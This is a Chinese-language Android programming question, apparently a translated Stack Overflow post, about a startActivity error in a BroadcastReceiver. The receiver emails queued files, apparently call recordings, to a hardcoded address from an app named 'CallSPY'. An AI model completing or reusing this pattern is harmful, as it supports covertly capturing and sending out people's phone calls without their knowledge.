我正在尝试从一个扩展 Broadcastreceiver 的课程发送电子邮件。
但是我收到了以下错误。
android.util.AndroidRuntimeException: Calling startActivity() from outside of an Activity context requires the FLAG_ACTIVITY_NEW_TASK flag. Is this really what you want?
at android.app.ContextImpl.startActivity(ContextImpl.java:1026)
at android.app.ContextImpl.startActivity(ContextImpl.java:1013)
at android.content.ContextWrapper.startActivity(ContextWrapper.java:284)
at android.content.ContextWrapper.startActivity(ContextWrapper.java:284)
at mimbarsoft.com.callspy.InternetConnecton.onReceive(InternetConnecton.java:37)
at android.app.ActivityThread.handleReceiver(ActivityThread.java:2550)
at android.app.ActivityThread.access$1500(ActivityThread.java:162)
at android.app.ActivityThread$H.handleMessage(ActivityThread.java:1440)
at android.os.Handler.dispatchMessage(Handler.java:107)
at android.os.Looper.loop(Looper.java:194)
at android.app.ActivityThread.main(ActivityThread.java:5371)
at java.lang.reflect.Method.invokeNative(Native Method)
at java.lang.reflect.Method.invoke(Method.java:525)
at com.android.internal.os.ZygoteInit$MethodAndArgsCaller.run(ZygoteInit.java:833)
at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:600)
at dalvik.system.NativeStart.main(Native Method)
在看到一些stackoverflow帖子后,我添加了 setFlags ,但我仍然遇到同样的错误。
这是我的代码
public class InternetConnecton extends BroadcastReceiver {
@Override
public void onReceive(Context context, Intent intent) {
ConnectivityManager connectivityManager = (ConnectivityManager) context.getSystemService(context.CONNECTIVITY_SERVICE);
NetworkInfo networkInfo = connectivityManager.getActiveNetworkInfo();
if(networkInfo != null && networkInfo.isConnected()){
Toast.makeText(context,"Internet is connected",Toast.LENGTH_LONG).show();
Intent emailIntent = new Intent(intent.ACTION_SEND_MULTIPLE);
emailIntent.setType("text/plain");
emailIntent.putExtra(intent.EXTRA_EMAIL,new String[]{"ahmedshihab14@yandex.com"});
emailIntent.putExtra(intent.EXTRA_SUBJECT,"CallSPY");
ArrayList<Uri> uris = new ArrayList<>();
while(!IncomingCall.savedFile.isEmpty()){
File f = IncomingCall.savedFile.poll();
Uri uri = Uri.fromFile(f);
uris.add(uri);
}
emailIntent.putParcelableArrayListExtra(intent.EXTRA_STREAM,uris);
emailIntent.setFlags(intent.FLAG_ACTIVITY_NEW_TASK);
context.startActivity(intent.createChooser(emailIntent,"Sending mail"));
}else{
Toast.makeText(context,"no internet",Toast.LENGTH_LONG).show();
}
}
}
有没有人有任何解决方案?